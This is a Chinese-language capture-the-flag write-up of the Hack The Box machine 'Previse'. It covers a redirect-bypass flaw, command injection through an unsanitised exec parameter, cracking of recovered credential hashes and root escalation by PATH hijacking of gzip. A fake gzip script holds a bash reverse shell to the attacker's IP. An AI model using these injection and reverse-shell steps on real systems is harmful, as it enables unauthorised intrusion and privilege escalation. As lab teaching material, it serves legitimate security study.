【Hack The Box】linux练习-- Previse
创始人
2024-02-21 11:53:40
0

HTB 学习笔记

【Hack The Box】linux练习-- Previse


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • ear
    • 基于ear的重定向绕过
    • 源码分析
    • www->
    • 命令挟持

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)

有价值的就这么两个

在这里插入图片描述
页面底部有一个
m4lwhere
可能是一个用户名
在这里插入图片描述
抓包分析的时候发现它不光返回302,还返回一个完整的页面

ear

这是 重定向后执行 (EAR) 漏洞 。 PHP 代码可能会检查会话,如果没有,则发送重定向。 这是来自 OWASP 页面的示例:

print "\n\n"; 
} ?>

基于ear的重定向绕过

首先对bp进行设置,可以抓响应包
在这里插入图片描述在这里插入图片描述我把302 notfound改成200 ok(大写)

在这里插入图片描述
这个页面不是很有用,但它在那里。 顶部的链接指向另外四个页面:

帐户 ( /accounts.php)
文件 ( /files.php)
管理菜单 –> 网站状态 ( /status.php)
管理菜单 –> 日志数据 ( file_logs.php)

我试图添加一个用户

在这里插入图片描述
在这里插入图片描述这里同样是一个302,我们依旧可以修改成200来成功添加用户

而后可以不用bp了,正常登陆
而后来到files目录
在这里插入图片描述
有这个压缩包,点一下下载下来

源码分析

检索一下危险函数

grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *

看到存在危险函数
在这里插入图片描述
出问题的源码(logs.php)

header('Location: login.php');exit;
}
?>header('Location: login.php');exit;
}
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;$filepath = "/var/www/out.log";
$filename = "out.log";if(file_exists($filepath)) {header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($filepath).'"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: ' . filesize($filepath));ob_clean(); // Discard data in the output bufferflush(); // Flush system headersreadfile($filepath);die();
} else {http_response_code(404);die();
}
?> 

可以看到
在将用户输入放入调用之前没有对用户输入进行清理 exec,这意味着我可以添加各种注入来执行,比如
; [command]和 $([command])

在这里插入图片描述我们选space模式,而后跟一个bash的反弹命令即可
用分号做隔断

在这里插入图片描述

www->

先建立一个稳定的shell

script /dev/null -c bash

在/var/www/html/config.php下找到了凭据
在这里插入图片描述

$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';

密码不能复用,我将在数据库寻找答案

mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)'
show databases;
use previse;
show tables;
describe files;//描述一下这个表,防止太大了一下挤爆靶场
+-------------+--------------+------+-----+-------------------+----------------+
| Field       | Type         | Null | Key | Default           | Extra          |
+-------------+--------------+------+-----+-------------------+----------------+
| id          | int(11)      | NO   | PRI | NULL              | auto_increment |
| name        | varchar(255) | NO   |     | NULL              |                |
| size        | int(11)      | NO   |     | NULL              |                |
| user        | varchar(255) | YES  |     | NULL              |                |
| data        | blob         | YES  |     | NULL              |                |
| upload_time | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
| protected   | tinyint(1)   | YES  |     | 0                 |                |
+-------------+--------------+------+-----+-------------------+----------------+

发现文件很大,所以不能直接select打开

select name,size,user,protected from files;

在这里插入图片描述再看下一个表

describe accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | 0xdff    | $1$🧂llol$H.PGkFFp/y7qUAVKR4VKK1 | 2021-07-16 20:04:52 |
+----+----------+------------------------------------+---------------------+

得到了一组凭据

m4lwhere $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

这为啥有个奶瓶?

hashcat -m 500 m4lwhere.hash /usr/share/wordlists/rockyou.txt$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

凭据如下

m4lwhere/ilovecody112235!

而后登陆m4lwhere用户
直接su即可
在这里插入图片描述sudo -l显示他可以执行那个backup脚本

在这里插入图片描述
cat打开看看

#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

在这里插入图片描述
看起来这个脚本有点问题,并且是个计划任务应该,因为他提到了cron
该脚本正在将日志备份到 /var/backups:

命令挟持

该脚本的漏洞在于 gzip在没有完整路径的情况下被调用。
在 /tmp我将创建一个名为 gzip的文件
生成一个反向 shell:

#!/bin/bashbash -i >& /dev/tcp/10.10.14.29/4444 0>&1

添加自制gzip到临时环境变量

export PATH=/tmp:$PATH

记得赋权

在这里插入图片描述

相关内容

热门资讯

爱情短笑话爆笑 爱情短笑话大全爆笑  虽说爱情是风花雪月,婚姻是酱米油盐。但是婚姻也该潇洒,才能经久保鲜。玫瑰情人节...
语序不当的句子语病分析 语序不当的句子语病分析  该句有两处语序不当。首先,“架起”的是“政工干部和学生干部”之间的桥,应把...
提醒降温的暖心句子 提醒降温的暖心句子  天气转凉了,北风清凉了,气温骤降了,变化更狂了,衣服不要藏了,不然你就凄凉了,...
怀念父亲的伤感句子   大去已然十四年,几番盼梦不成眠。天命盛年仁不寿,追恨孝养未周全。  其二  戊辰仲春二十六,严君...
描写春天校园的美景的句子 描写春天校园的美景的句子(精选60句)  在平平淡淡的学习、工作、生活中,大家都接触过比较经典的句子...
诗人余秀华:《穿过大半个中国... 诗人余秀华:《穿过大半个中国去睡你》  穿过大半个中国去睡你  余秀华  其实,睡你和被你睡是差不多...
五月的第一天句子 五月的第一天句子(精选170句)  在现实生活或工作学习中,大家或多或少都接触过一些经典的句子吧,根...
最新早安暖心句子 最新早安暖心句子(精选110句)  在日常的学习、工作、生活中,许多人都接触过一些比较经典的句子吧,...
旅行的唯美句子 关于旅行的唯美句子 (精选165句)  在平时的学习、工作或生活中,大家都对那些朗朗上口的句子很是熟...
优美语句 精选优美语句大全  生活的无奈,有时并不源于自我,别人无心的筑就,那是一种阴差阳错。生活本就是矛盾的...
温暖亲情的句子 关于温暖亲情的句子  亲情,顾名思义,就是亲人的情义。人,作为社会的人,起首并每每接触的是哺育本人的...
晚上发朋友圈的好句子 关于晚上发朋友圈的好句子大全  在平日的学习、工作和生活里,大家都听说过或者使用过一些比较经典的句子...
经典朋友圈早安文案 经典朋友圈早安文案汇总(精选140句)  每一个人只要心里有山巅,即使道路再曲折,也能够到达人生的顶...
调侃男友俏皮句子 调侃男友俏皮句子 (精选85句)  在日常的学习、工作、生活中,大家总免不了要接触或使用句子吧,根据...
打动人心的正能量句子 打动人心的正能量句子  在日常学习、工作或生活中,大家最不陌生的就是句子了吧,根据结构的不同句子可以...
哀悼逝者的句子 哀悼逝者的句子(精选140句)  在平时的学习、工作或生活中,大家一定都接触过一些使用较为普遍的句子...
最新美到极致的惊蛰节气句子 最新美到极致的惊蛰节气句子(精选110句)  在日常学习、工作或生活中,大家都接触过很多优秀的句子吧...
曾经爱情的句子有哪些 关于曾经爱情的句子有哪些  1、曾经,在那个花季的年代,你突然出现在我面前,信诺誓言的对我说,你爱我...
表达兄弟情深的句子 关于表达兄弟情深的句子  在平日的学习、工作和生活里,许多人对一些广为流传的句子都不陌生吧,句子是能...
高情商发圈被秒赞的句子正能量 高情商发圈被秒赞的句子正能量  在平平淡淡的日常中,大家都接触过比较经典的句子吧,句子是能够表达一个...